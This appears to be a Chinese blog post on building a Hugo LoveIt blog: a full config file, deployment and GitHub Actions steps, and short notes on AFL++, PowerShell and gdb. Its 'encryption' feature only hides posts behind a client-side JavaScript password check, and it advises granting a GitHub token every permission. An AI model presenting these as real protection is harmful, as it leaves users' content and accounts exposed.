716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
baseURL = "https://cnitlrt.github.io"
# [en, zh-cn, fr, pl, ...] determines default content language
# [en, zh-cn, fr, pl, ...] 设置默认的语言
defaultContentLanguage = "zh-cn"
# 网站语言, 仅在这里 CN大写
languageCode = "zh-CN"
# 是否包括中日韩文字
hasCJKLanguage = true
# 主题
theme = "LoveIt"
# 网站标题
title = "cnitlrtの博客 - 在阅读中遇见自己"
# 是否使用 robots.txt
enableRobotsTXT = true
# 是否使用 git 信息
enableGitInfo = true
# 是否使用 emoji 代码
enableEmoji = true
[languages]


  [languages.zh-cn]
    weight = 2
    # 网站语言, 仅在这里 CN 大写
    languageCode = "zh-CN"
    # 语言名称
    languageName = "简体中文"
    # 是否包括中日韩文字
    hasCJKLanguage = true
    # 默认每页列表显示的文章数目
    paginate = 12
    # [UA-XXXXXXXX-X] 谷歌分析代号
    googleAnalytics = ""
    # 版权描述,仅仅用于 SEO
    copyright = "This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License."
    # 菜单配置
    [languages.zh-cn.menu]
      [[languages.zh-cn.menu.main]]
        identifier = "posts"
        # 你可以在名称 (允许 HTML 格式) 之前添加其他信息, 例如图标
        pre = ""
        # 你可以在名称 (允许 HTML 格式) 之后添加其他信息, 例如图标
        post = ""
        name = "所有文章"
        url = "/posts/"
        title = ""
        weight = 1
      [[languages.zh-cn.menu.main]]
        identifier = "tags"
        pre = ""
        post = ""
        name = "标签"
        url = "/tags/"
        title = ""
        weight = 2
      [[languages.zh-cn.menu.main]]
        identifier = "categories"
        pre = ""
        post = ""
        name = "分类"
        url = "/categories/"
        title = ""
        weight = 3
      [[languages.zh-cn.menu.main]]
        identifier = "documentation"
        pre = ""
        name = "文档"
        url = "/categories/documentation/"
        title = ""
        weight = 4
      [[languages.zh-cn.menu.main]]
        identifier = "about"
        pre = ""
        post = ""
        name = "关于"
        url = "/about/"
        title = ""
        weight = 5
      [[languages.zh-cn.menu.main]]
        identifier = "github"
        pre = "<i class='fab fa-github fa-fw'></i>"
        post = ""
        name = "Github"
        url = "https://github.com/cnitlrt"
        title = "GitHub"
        weight = 6
      [[languages.zh-cn.menu.main]]
        identifier = "friend"
        pre = "<i class='fas fa-user-friends'></i>"
        post = ""
        name = "友链"
        url = "/friend/"
        title = ""
        weight = 7      
    [languages.zh-cn.params]
      # 网站描述
      description = "cnitlrtの博客"
      # 网站关键词
      keywords = ["Theme", "Hugo"]
      # 应用图标配置
      [languages.zh-cn.params.app]
        # 当添加到 iOS 主屏幕或者 Android 启动器时的标题, 覆盖默认标题
        title = "LoveIt"
        # 是否隐藏网站图标资源链接
        noFavicon = false
        # 更现代的 SVG 网站图标, 可替代旧的 .png 和 .ico 文件
        svgFavicon = ""
        # Android 浏览器主题色
        themeColor = "#ffffff"
        # Safari 图标颜色
        iconColor = "#5bbad5"
        # Windows v8-10 磁贴颜色
        tileColor = "#da532c"
      # 搜索配置
      [languages.zh-cn.params.search]
        enable = true
        # 搜索引擎的类型 ("lunr", "algolia")
        type = "algolia"
        # 文章内容最长索引长度
        contentLength = 4000
        # 搜索框的占位提示语
        placeholder = ""
        # 最大结果数目
        maxResultLength = 10
        # 结果内容片段长度
        snippetLength = 50
        # 搜索结果中高亮部分的 HTML 标签
        highlightTag = "em"
        # 是否在搜索索引中使用基于 baseURL 的绝对路径
        absoluteURL = false
        [languages.zh-cn.params.search.algolia]
          index = "index.zh-cn"
          appID = "PASDMWALPK"
          searchKey = "b42948e51daaa93df92381c8e2ac0f93"
      # 主页信息设置
      [languages.zh-cn.params.home]
        # RSS 文章数目
        rss = 10
        # 主页个人信息
        [languages.zh-cn.params.home.profile]
          enable = true
          # Gravatar 邮箱,用于优先在主页显示的头像
          gravatarEmail = ""
          # 主页显示头像的 URL
          avatarURL = "/images/avatar.jpg"
          # 主页显示的网站标题 (支持 HTML 格式)
          title = ""
          # 主页显示的网站副标题
          subtitle = "No Pwn No Fun"
          # 是否为副标题显示打字机动画
          typeit = true
          # 是否显示社交账号
          social = true
          # 免责声明 (支持 HTML 格式)
          disclaimer = ""
        # 主页文章列表
        [languages.zh-cn.params.home.posts]
          enable = true
          # 主页每页显示文章数量
          paginate = 6
      # 主页的社交信息设置
      [languages.zh-cn.params.social]
        GitHub = "cnitlrt"
        #Bilibili = "480883651"
        #Zhihu = "yimi-yang-guang-96-65"
        Linkedin = ""
        Twitter = ""
        Instagram = ""
        Facebook = ""
        Telegram = ""
        Medium = ""
        Gitlab = ""
        Youtubelegacy = ""
        Youtubecustom = ""
        Youtubechannel = ""
        Tumblr = ""
        Quora = ""
        Keybase = ""
        Pinterest = ""
        Reddit = ""
        Codepen = ""
        FreeCodeCamp = ""
        Bitbucket = ""
        Stackoverflow = ""
        # Weibo = "xxxx"
        Odnoklassniki = ""
        VK = ""
        Flickr = ""
        Xing = ""
        Snapchat = ""
        Soundcloud = ""
        Spotify = ""
        Bandcamp = ""
        Paypal = ""
        Fivehundredpx = ""
        Mix = ""
        Goodreads = ""
        Lastfm = ""
        Foursquare = ""
        Hackernews = ""
        Kickstarter = ""
        Patreon = ""
        # Steam = "xxxx"
        Twitch = ""
        Strava = ""
        Skype = ""
        Whatsapp = ""
        # Juejin ="user/3843548384077192"
        # Douban = "xxxx"
        Angellist = ""
        Slidershare = ""
        Jsfiddle = ""
        Deviantart = ""
        Behance = ""
        Dribbble = ""
        Wordpress = ""
        Vine = ""
        Googlescholar = ""
        Researchgate = ""
        Mastodon = ""
        Thingiverse = ""
        Devto = ""
        Gitea = ""
        XMPP = ""
        Matrix = ""
      
        Email = "1258175307@qq.com"
        # RSS = true


[params]
  # LoveIt theme version
  # LoveIt 主题版本
  version = "0.2.X"
  # site default theme ("light", "dark", "auto")
  # 网站默认主题 ("light", "dark", "auto")
  defaultTheme = "auto"
  # public git repo url only then enableGitInfo is true
  # 公共 git 仓库路径,仅在 enableGitInfo 设为 true 时有效
  gitRepo = "https://github.com/dillonzq/LoveIt"
  # which hash function used for SRI, when empty, no SRI is used ("sha256", "sha384", "sha512", "md5")
  # 哪种哈希函数用来 SRI, 为空时表示不使用 SRI ("sha256", "sha384", "sha512", "md5")
  fingerprint = ""
  # date format
  # 日期格式
  dateFormat = "2006-01-02"
  # website images for Open Graph and Twitter Cards
  # 网站图片, 用于 Open Graph 和 Twitter Cards
  images = ["/logo.png"]
  #来自之前
  archivePaginate = 50

  # show 'xx Posts In Total' in archive page ?            # 是否在归档页显示文章的总数
  showArchiveCount = true
  # Header config
  # 页面头部导航栏配置
  [params.header]
    # desktop header mode ("fixed", "normal", "auto")
    # 桌面端导航栏模式 ("fixed", "normal", "auto")
    desktopMode = "fixed"
    # mobile header mode ("fixed", "normal", "auto")
    # 移动端导航栏模式 ("fixed", "normal", "auto")
    mobileMode = "auto"
    # Header title config
    # 页面头部导航栏标题配置
    [params.header.title]
      # URL of the LOGO
      # LOGO 的 URL
      logo = ""
      # title name
      # 标题名称
      name = "cnitlrtの博客"
      # you can add extra information before the name (HTML format is supported), such as icons
      # 你可以在名称 (允许 HTML 格式) 之前添加其他信息, 例如图标
      pre = "<i class='far fa-kiss-wink-heart fa-fw'></i>"
      # you can add extra information after the name (HTML format is supported), such as icons
      # 你可以在名称 (允许 HTML 格式) 之后添加其他信息, 例如图标
      post = ""
      # whether to use typeit animation for title name
      # 是否为标题显示打字机动画
      typeit = true

  [params.busuanzi]         # count web traffic by busuanzi                             # 是否使用不蒜子统计站点访问量
    enable = true
    siteUV = true
    sitePV = true
    pagePV = true

  [params.reward]                                         # 文章打赏
    enable = true
    wechat = "/path/to/your/wechat-qr-code.png"           # 微信二维码
    alipay = "/path/to/your/alipay-qr-code.png"    
  # Footer config
  # 页面底部信息配置
  [params.footer]
    enable = true
    # Custom content (HTML format is supported)
    # 自定义内容 (支持 HTML 格式)
    custom = ''
    # whether to show Hugo and theme info
    # 是否显示 Hugo 和主题信息
    hugo = true
    # whether to show copyright info
    # 是否显示版权信息
    copyright = true
    # whether to show the author
    # 是否显示作者
    author = true
    # site creation time
    # 网站创立年份
    since = 2021
    # ICP info only in China (HTML format is supported)
    # ICP 备案信息,仅在中国使用 (支持 HTML 格式)
    icp = ""
    # license info (HTML format is supported)
    # 许可协议信息 (支持 HTML 格式)
    license= '<a rel="license external nofollow noopener noreffer" href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank">CC BY-NC 4.0</a>'

  # Section (all posts) page config
  # Section (所有文章) 页面配置
  [params.section]
    # special amount of posts in each section page
    # section 页面每页显示文章数量
    paginate = 20
    # date format (month and day)
    # 日期格式 (月和日)
    dateFormat = "01-02"
    # amount of RSS pages
    # RSS 文章数目
    rss = 10

  # List (category or tag) page config
  # List (目录或标签) 页面配置
  [params.list]
    # special amount of posts in each list page
    # list 页面每页显示文章数量
    paginate = 20
    # date format (month and day)
    # 日期格式 (月和日)
    dateFormat = "01-02"
    # amount of RSS pages
    # RSS 文章数目
    rss = 10

  # Page config
  # 文章页面配置
  [params.page]
    # whether to hide a page from home page
    # 是否在主页隐藏一篇文章
    hiddenFromHomePage = false
    # whether to hide a page from search results
    # 是否在搜索结果中隐藏一篇文章
    hiddenFromSearch = false
    # whether to enable twemoji
    # 是否使用 twemoji
    twemoji = false
    # whether to enable lightgallery
    # 是否使用 lightgallery
    lightgallery = false
    # whether to enable the ruby extended syntax
    # 是否使用 ruby 扩展语法
    ruby = true
    # whether to enable the fraction extended syntax
    # 是否使用 fraction 扩展语法
    fraction = true
    # whether to enable the fontawesome extended syntax
    # 是否使用 fontawesome 扩展语法
    fontawesome = true
    # whether to show link to Raw Markdown content of the content
    # 是否显示原始 Markdown 文档内容的链接
    linkToMarkdown = true
    # whether to show the full text content in RSS
    # 是否在 RSS 中显示全文内容
    rssFullText = false
    # Table of the contents config
    # 目录配置
    [params.page.toc]
      # whether to enable the table of the contents
      # 是否使用目录
      enable = true
      # whether to keep the static table of the contents in front of the post
      # 是否保持使用文章前面的静态目录
      keepStatic = false
      # whether to make the table of the contents in the sidebar automatically collapsed
      # 是否使侧边目录自动折叠展开
      auto = true
    # Code config
    # 代码配置
    [params.page.code]
      # whether to show the copy button of the code block
      # 是否显示代码块的复制按钮
      copy = true
      # the maximum number of lines of displayed code by default
      # 默认展开显示的代码行数
      maxShownLines = 10
    # KaTeX mathematical formulas config (KaTeX https://katex.org/)
    # KaTeX 数学公式配置 (KaTeX https://katex.org/)
    [params.page.math]
      enable = true
      # default block delimiter is $$ ... $$ and \\[ ... \\]
      # 默认块定界符是 $$ ... $$ 和 \\[ ... \\]
      blockLeftDelimiter = ""
      blockRightDelimiter = ""
      # default inline delimiter is $ ... $ and \\( ... \\)
      # 默认行内定界符是 $ ... $ 和 \\( ... \\)
      inlineLeftDelimiter = ""
      inlineRightDelimiter = ""
      # KaTeX extension copy_tex
      # KaTeX 插件 copy_tex
      copyTex = true
      # KaTeX extension mhchem
      # KaTeX 插件 mhchem
      mhchem = true
    # Mapbox GL JS config (Mapbox GL JS https://docs.mapbox.com/mapbox-gl-js)
    # Mapbox GL JS 配置 (Mapbox GL JS https://docs.mapbox.com/mapbox-gl-js)
    [params.page.mapbox]
      # access token of Mapbox GL JS
      # Mapbox GL JS 的 access token
      accessToken = "pk.eyJ1IjoiZGlsbG9uenEiLCJhIjoiY2s2czd2M2x3MDA0NjNmcGxmcjVrZmc2cyJ9.aSjv2BNuZUfARvxRYjSVZQ"
      # style for the light theme
      # 浅色主题的地图样式
      lightStyle = "mapbox://styles/mapbox/light-v10?optimize=true"
      # style for the dark theme
      # 深色主题的地图样式
      darkStyle = "mapbox://styles/mapbox/dark-v10?optimize=true"
      # whether to add NavigationControl (https://docs.mapbox.com/mapbox-gl-js/api/#navigationcontrol)
      # 是否添加 NavigationControl (https://docs.mapbox.com/mapbox-gl-js/api/#navigationcontrol)
      navigation = true
      # whether to add GeolocateControl (https://docs.mapbox.com/mapbox-gl-js/api/#geolocatecontrol)
      # 是否添加 GeolocateControl (https://docs.mapbox.com/mapbox-gl-js/api/#geolocatecontrol)
      geolocate = true
      # whether to add ScaleControl (https://docs.mapbox.com/mapbox-gl-js/api/#scalecontrol)
      # 是否添加 ScaleControl (https://docs.mapbox.com/mapbox-gl-js/api/#scalecontrol)
      scale = true
      # whether to add FullscreenControl (https://docs.mapbox.com/mapbox-gl-js/api/#fullscreencontrol)
      # 是否添加 FullscreenControl (https://docs.mapbox.com/mapbox-gl-js/api/#fullscreencontrol)
      fullscreen = true
    # Social share links in post page
    # 文章页面的分享信息设置
    [params.page.share]
      enable = true
      Twitter = true
      Facebook = true
      Linkedin = false
      Whatsapp = false
      Pinterest = false
      Tumblr = false
      HackerNews = true
      Reddit = false
      VK = false
      Buffer = false
      Xing = false
      Line = true
      Instapaper = false
      Pocket = false
      Digg = false
      Stumbleupon = false
      Flipboard = false
      Weibo = true
      Renren = false
      Myspace = false
      Blogger = false
      Baidu = false
      Odnoklassniki = false
      Evernote = false
      Skype = false
      Trello = false
      Mix = false
    # Comment config
    # 评论系统设置
    [params.page.comment]
      enable = true
      # Disqus comment config (https://disqus.com/)
      # Disqus 评论系统设置 (https://disqus.com/)
      [params.page.comment.disqus]
        enable = false
        # Disqus shortname to use Disqus in posts
        # Disqus 的 shortname,用来在文章中启用 Disqus 评论系统
        shortname = ""
      # Gitalk comment config (https://github.com/gitalk/gitalk)
      # Gitalk 评论系统设置 (https://github.com/gitalk/gitalk)
      [params.page.comment.gitalk]
        enable = false
        owner = ""
        repo = ""
        clientId = ""
        clientSecret = ""
      # Valine comment config (https://github.com/xCss/Valine)
      # Valine 评论系统设置 (https://github.com/xCss/Valine)
      [params.page.comment.valine]
        enable = true
        appId = 'cIRpq8figzQxyGz5LyAdUahJ-gzGzoHsz'
        appKey = 'T9YWfgGhznKaXXx7TCLxzS3C'
        notify = true  # mail notifier , https://github.com/xCss/Valine/wiki
        verify = false # Verification code
        avatar = 'robohash'
        placeholder = '说点什么吧...'
        visitor = true
        path = true
        meta = true
        pageSize = true
        lang = true
        enableQQ = true
        # Facebook comment config (https://developers.facebook.com/docs/plugins/comments)
        # Facebook 评论系统设置 (https://developers.facebook.com/docs/plugins/comments)
      [params.page.comment.facebook]
        enable = false
        width = "100%"
        numPosts = 10
        appId = ""
        languageCode = ""
      # Telegram comments config (https://comments.app/)
      # Telegram comments 评论系统设置 (https://comments.app/)
      [params.page.comment.telegram]
        enable = false
        siteID = ""
        limit = 5
        height = ""
        color = ""
        colorful = true
        dislikes = false
        outlined = false
      # Commento comment config (https://commento.io/)
      # Commento comment 评论系统设置 (https://commento.io/)
      [params.page.comment.commento]
        enable = false
      # Utterances comment config (https://utteranc.es/)
      # Utterances comment 评论系统设置 (https://utteranc.es/)
      [params.page.comment.utterances]
        enable = false
        # owner/repo
        repo = ""
        issueTerm = "pathname"
        label = ""
        lightTheme = "github-light"
        darkTheme = "github-dark"
    # Third-party library config
    # 第三方库配置
    [params.page.library]
      [params.page.library.css]
        # someCSS = "some.css"
        # located in "assets/" 位于 "assets/"
        # Or 或者
        # someCSS = "https://cdn.example.com/some.css"
      [params.page.library.js]
        # someJavascript = "some.js"
        # located in "assets/" 位于 "assets/"
        # Or 或者
        # someJavascript = "https://cdn.example.com/some.js"
    # Page SEO config
    # 页面 SEO 配置
    [params.page.seo]
      # image URL
      # 图片 URL
      images = []
      # Publisher info
      # 出版者信息
      [params.page.seo.publisher]
        name = "xxxx"
        logoUrl = "/images/avatar.png"

  # TypeIt config
  # TypeIt 配置
  [params.typeit]
    # typing speed between each step (measured in milliseconds)
    # 每一步的打字速度 (单位是毫秒)
    speed = 100
    # blinking speed of the cursor (measured in milliseconds)
    # 光标的闪烁速度 (单位是毫秒)
    cursorSpeed = 1000
    # character used for the cursor (HTML format is supported)
    # 光标的字符 (支持 HTML 格式)
    cursorChar = "|"
    # cursor duration after typing finishing (measured in milliseconds, "-1" means unlimited)
    # 打字结束之后光标的持续时间 (单位是毫秒, "-1" 代表无限大)
    duration = -1

  # Site verification code for Google/Bing/Yandex/Pinterest/Baidu
  # 网站验证代码,用于 Google/Bing/Yandex/Pinterest/Baidu
  [params.verification]
    google = ""
    bing = ""
    yandex = ""
    pinterest = ""
    baidu = ""

  # Site SEO config
  # 网站 SEO 配置
  [params.seo]
    # image URL
    # 图片 URL
    image = "/images/Apple-Devices-Preview.png"
    # thumbnail URL
    # 缩略图 URL
    thumbnailUrl = "/images/screenshot.png"

  # Analytics config
  # 网站分析配置
  [params.analytics]
    enable = false
    # Google Analytics
    [params.analytics.google]
      id = ""
      # whether to anonymize IP
      # 是否匿名化用户 IP
      anonymizeIP = true
    # Fathom Analytics
    [params.analytics.fathom]
      id = ""
      # server url for your tracker if you're self hosting
      # 自行托管追踪器时的主机路径
      server = ""

  # Cookie consent config
  # Cookie 许可配置
  [params.cookieconsent]
    enable = false
    # text strings used for Cookie consent banner
    # 用于 Cookie 许可横幅的文本字符串
    [params.cookieconsent.content]
      message = ""
      dismiss = ""
      link = ""

  # CDN config for third-party library files
  # 第三方库文件的 CDN 设置
  [params.cdn]
    # CDN data file name, disabled by default
    # ("jsdelivr.yml")
    # located in "themes/LoveIt/assets/data/cdn/" directory
    # you can store your own data files in the same path under your project:
    # "assets/data/cdn/"
    # CDN 数据文件名称, 默认不启用
    # ("jsdelivr.yml")
    # 位于 "themes/LoveIt/assets/data/cdn/" 目录
    # 可以在你的项目下相同路径存放你自己的数据文件:
    # "assets/data/cdn/"
    data = "jsdelivr.yml"

  # Compatibility config
  # 兼容性设置
  [params.compatibility]
    # whether to use Polyfill.io to be compatible with older browsers
    # 是否使用 Polyfill.io 来兼容旧式浏览器
    polyfill = false
    # whether to use object-fit-images to be compatible with older browsers
    # 是否使用 object-fit-images 来兼容旧式浏览器
    objectFit = false

# Markup related configuration in Hugo
# Hugo 解析文档的配置
[markup]
  # Syntax Highlighting (https://gohugo.io/content-management/syntax-highlighting)
  # 语法高亮设置 (https://gohugo.io/content-management/syntax-highlighting)
  [markup.highlight]
    codeFences = true
    guessSyntax = true
    lineNos = true
    lineNumbersInTable = true
    # false is a necessary configuration (https://github.com/dillonzq/LoveIt/issues/158)
    # false 是必要的设置 (https://github.com/dillonzq/LoveIt/issues/158)
    noClasses = false
  # Goldmark is from Hugo 0.60 the default library used for Markdown
  # Goldmark 是 Hugo 0.60 以来的默认 Markdown 解析库
  [markup.goldmark]
    [markup.goldmark.extensions]
      definitionList = true
      footnote = true
      linkify = true
      strikethrough = true
      table = true
      taskList = true
      typographer = true
    [markup.goldmark.renderer]
      # whether to use HTML tags directly in the document
      # 是否在文档中直接使用 HTML 标签
      unsafe = true
  # Table Of Contents settings
  # 目录设置
  [markup.tableOfContents]
    startLevel = 1
    endLevel = 6

# Author config
# 作者配置
[author]
  name = "cnitlrt"
  email = "cnitlrt@gmail.com"
  link = ""

# Sitemap config
# 网站地图配置
[sitemap]
  changefreq = "weekly"
  filename = "sitemap.xml"
  priority = 0.5

# Permalinks config (https://gohugo.io/content-management/urls/#permalinks)
# Permalinks 配置 (https://gohugo.io/content-management/urls/#permalinks)
[Permalinks]
  # posts = ":year/:month/:filename"
  posts = ":filename"

# Privacy config (https://gohugo.io/about/hugo-and-gdpr/)
# 隐私信息配置 (https://gohugo.io/about/hugo-and-gdpr/)
[privacy]
  # privacy of the Google Analytics (replaced by params.analytics.google)
  # Google Analytics 相关隐私 (被 params.analytics.google 替代)
  [privacy.googleAnalytics]
    # ...
  [privacy.twitter]
    enableDNT = true
  [privacy.youtube]
    privacyEnhanced = true

# Options to make output .md files
# 用于输出 Markdown 格式文档的设置
# [mediaTypes]
#   [mediaTypes."text/plain"]
#     suffixes = ["md"]

# # Options to make output .md files
# # 用于输出 Markdown 格式文档的设置
# [outputFormats.MarkDown]
#   mediaType = "text/plain"
#   isPlainText = false
#   isHTML = true

# # Options to make hugo output files
# # 用于 Hugo 输出文档的设置
# [outputs]
#   home = ["HTML", "RSS", "JSON"]
#   page = ["HTML", "MarkDown"]
#   section = ["HTML", "RSS"]
#   taxonomy = ["HTML", "RSS"]
#   taxonomyTerm = ["HTML"]

hugo server -D

访问http://127.0.0.1:1313/

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230128022049918.png

上传github

在blog目录下运行

1
hugo

会生成public目录

创建一个空白目录(例如cnitlrt),在public目录下运行下面的指令

1
2
3
4
5
git init
git add .
git branch -M master #创建master的分支
git remote add origin git@github.com:cnitlrt/cnitlrt.github.io.git
git push -u origin master
1
hugo && git add . && git commit -m "blog" && git pull origin master --rebase && git push -u origin master

增加友链 (所有的目录都在根目录)

增加菜单栏(config.toml)
  [[languages.zh-cn.menu.main]]
    identifier = "friend"
    pre = ""
    post = ""
    name = "友链"
    url = "/friend/"
    title = ""
    weight = 7    
创建html (xxx/blog/layouts/shortcodes/) 创建friend.html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{{ if .IsNamedParams }}
<a target="_blank" href={{ .Get "url" }} title={{ .Get "name" }} class="friendurl">
  <div class="frienddiv">
    <div class="frienddivleft">
      <img class="myfriend" src={{ .Get "logo" }} />
    </div>
    <div class="frienddivright">
      <div class="friendname">{{ .Get "name" }}</div>
      <div class="friendinfo">{{ .Get "word" }}</div>
    </div>
  </div>
</a>
{{ end }}
css代码 (assets/css/_partial/_signal新建_friend.scss)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
.friendurl {
    text-decoration: none !important;
    color: black;
}
   
.myfriend {
    width: 56px !important;
    height: 56px !important;
    border-radius: 50%;
    border: 1px solid #ddd;
    padding: 2px;
    box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.15);
    margin-top: 14px !important;
    margin-left: 14px !important;
    background-color: #fff;
}
   
.frienddiv {
    height: 92px;
    margin-top: 10px;
    width: 48%;
    display: inline-block !important;
    border-radius: 5px;
    background: rgba(255, 255, 255, 0.2);
    box-shadow: 4px 4px 2px 1px rgba(0, 0, 255, 0.2);
}
   
.frienddiv:hover {
    background: rgba(87, 142, 224, 0.15);
}
   
.frienddiv:hover .frienddivleft img {
    transition: 0.9s !important;
    -webkit-transition: 0.9s !important;
    -moz-transition: 0.9s !important;
    -o-transition: 0.9s !important;
    -ms-transition: 0.9s !important;
    transform: rotate(360deg) !important;
    -webkit-transform: rotate(360deg) !important;
    -moz-transform: rotate(360deg) !important;
    -o-transform: rotate(360deg) !important;
    -ms-transform: rotate(360deg) !important;
}
   
.frienddivleft {
    width: 92px;
    float: left;
}
   
.frienddivleft {
    margin-right: 2px;
}
   
.frienddivright {
    margin-top: 18px;
    margin-right: 18px;
}
   
.friendname {
    text-overflow: ellipsis;
    overflow: hidden;
    white-space: nowrap;
}
   
.friendinfo {
    text-overflow: ellipsis;
    overflow: hidden;
    white-space: nowrap;
}
   
@media screen and (max-width: 600px) {
    .friendinfo {
        display: none;
    }
    .frienddivleft {
        width: 84px;
        margin: auto;
    }
    .frienddivright {
        height: 100%;
        margin: auto;
        display: flex;
        align-items: center;
        justify-content: center;
    }
    .friendname {
        font-size: 14px;
    }
}
   
assets/css/_page/ 下面新建 _single.scss 文件

把主题 /themes/loveIt/assets/css/_page/_single.scss 的文件拷贝到博客项目指定目录,关键在于添加一行 @import "../_partial/_single/_friend";

content/friend 下新建 index.语言.md

1
2
3
4
---
hiddenFromSearch: true
---


  
name
描述

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230217191802046.png

增加加密功能

  • 新建 layouts/posts/single.html
1
mkdir layouts/posts/ && cp themes/LoveIt/layouts/posts/single.html layouts/posts/single.html
  • 创建文件 static/js/pwd.js ,代码如下
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
    }
    return "";
}

function checkCookie(cname, cvvalue) {
    var cvalue = getCookie(cname);
    if (cvalue != "" && cvalue === cvvalue) {
        return true;
    } else {
        return false;
    }
}

function setCookie(cname, cvalue, exhours) {
    var d = new Date();
    var h = 60 * 60 * 1000
    d.setTime(d.getTime() + (exhours * h));
    var expires = "expires=" + d.toGMTString();
    document.cookie = cname + "=" + cvalue + "; " + expires + "; path=/";
}

function errorPwd() {
    alert('密码错误!');
    if (history.length === 1) {
        window.opener = null;
        window.open('', '_self');
        window.close();
    } else {
        history.back();
    }
    return false;
}
  • layouts/posts/single.html 中的 {{- $params := .Scratch.Get "params" -}} 之后添加如下代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    {{- $password := $params.password | default "" -}}
    {{- $encryptedKey := $params.encryptedKey | default "" -}}
    {{- if ne $password "" -}}
        <noscript><meta http-equiv="refresh" content="0; url=/404.html" /></noscript>
        <script type="text/javascript" src="/js/pwd.js"></script>
        <script>
            (function(){
                document.body.style.display="none"
                if({{ $password }}){
                    if({{ $encryptedKey }}){
                        if (!checkCookie({{ $encryptedKey }},{{ $password }})) {
                            if (prompt('请输入文章密码') != {{ $password }}){
                                return errorPwd();
                            } else {
                                setCookie({{ $encryptedKey }},{{ $password }},1);
                            }
                        }
                    } else if (prompt('请输入文章密码') != {{ $password }}){
                        return errorPwd();
                    }
                }
                document.body.style.display="inherit"
            })();
        </script>
    {{- end -}}
  • posts下面 的文章中使用 : password => 密码
1
2
3
---
password: "admin"
---

增加评论

使用gitalk就好参考

network error

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230629170402863.png

将该域名改成代理即可

配置github action

在settings->developer settings->personal access tokens->tokens ( classic)里面添加一个personal key把所有的权限都打上,然后将key记录下来

创建两个仓库

在根目录建立.github/workflows/mian.yml

内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
name: GitHub Page Deploy

on:
  push:
    branches:
      - master
jobs:
  build-deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout master
        uses: actions/checkout@v1      
        with:
          submodules: true
      - name: Setup Hugo
        uses: peaceiris/actions-hugo@v2
        with:
          hugo-version: "0.110.0"
          extended: true

      - name: Build Hugo
        run: |
              hugo

      - name: Deploy Hugo to gh-pages
        uses: peaceiris/actions-gh-pages@v2
        env:
          PERSONAL_TOKEN: ${{ secrets.BLOG_TEST }}
          EXTERNAL_REPOSITORY: cnitlrt/cnitlrt.github.io
          PUBLISH_BRANCH: master
          PUBLISH_DIR: ./public
          commit_message: ${{ github.event.head_commit.message }}
  • 其中ACTIONS_DEPLOY_KEY在仓库->settings->secrets and variables->actions新建名字为BLOG_TEST的secret里面的内容填之前的那个personal key

  • EXTERNAL_REPOSITORY: 填入自己的仓库

1
hugo && git add . && git commit -m "blog" && git push -u origin master

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230129170153191.png

更改网站图标

https://realfavicongenerator.net/

下载下来放入static目录下面。

修改模板

根目录\archetypes下的default.md修改如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
title: "{{ replace .TranslationBaseName "-" " " | title }}"
subtitle: ""
date: {{ .Date }}
lastmod: {{ .Date }}
draft: false
toc:
  enable: true
weight: false
categories: [""]
tags: [""]

解决 Validation Failed.

把页面名称换成英文

AFL++ qemu 32bit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sudo apt-get install libini-config-dev libtool-bin automake bison libglib2.0-dev qemu -y 
sudo apt install ninja-build
sudo apt install gcc-9-plugin-dev
sudo apt-get install llvm
sudo apt-get install build-essential module-assistant  
sudo apt-get install gcc-multilib g++-multilib
cd ~
git clone https://github.com/AFLplusplus/AFLplusplus
cd AFLplusplus
sudo make && cd qemu_mode && CPU_TARGET=i386 ./build_qemu_support.sh && cd .. && sudo make install

powershell

字体

Nerd Fonts - Iconic font aggregator, glyphs/icons collection, & fonts patcher

安装oh-my-posh,posh-git和Readline

请运行下列的命令

1
2
3
4
Install-Module -Name PowerShellGet -Force
winget install JanDeDobbeleer.OhMyPosh -s winget
PowerShellGet\Install-Module posh-git -Scope CurrentUser -Force
Install-Module PSReadLine

修改配置文件

接下来,我们需要修改我们Powershell的配置文件。

1
code $PROFILE

我们在这个文件中加入下列内容

1
2
3
4
5
6
7
8
9
#Set-PSReadLineKeyHandler -Key Tab -Function MenuComplete #Tab键会出现自动补全菜单
#Set-PSReadlineKeyHandler -Key UpArrow -Function HistorySearchBackward
#Set-PSReadlineKeyHandler -Key DownArrow -Function HistorySearchForward
# 上下方向键箭头,搜索历史中进行自动补全

#oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH/kali.omp.json" | Invoke-Expression
# Import-Module posh-git # git的自动补全
Import-Module PSReadLine
Set-PSReadLineOption -PredictionSource History

gdb调试相关

父子进程调试

1
2
3
4
5
6
7
8
9
#调试父进程,断开与父进程的连接
#当发生fork时跟踪父进程
set follow-fork-mode parent
set detach-on-fork on
调试子进程并不断开与父进程的连接
set follow-fork-mode child
set detach-on-fork off
#调试器将在多个线程之间进行调度,并监视它们的活动
set schedule-multiple on
  • on: 断开调试follow-fork-mode指定的进程。
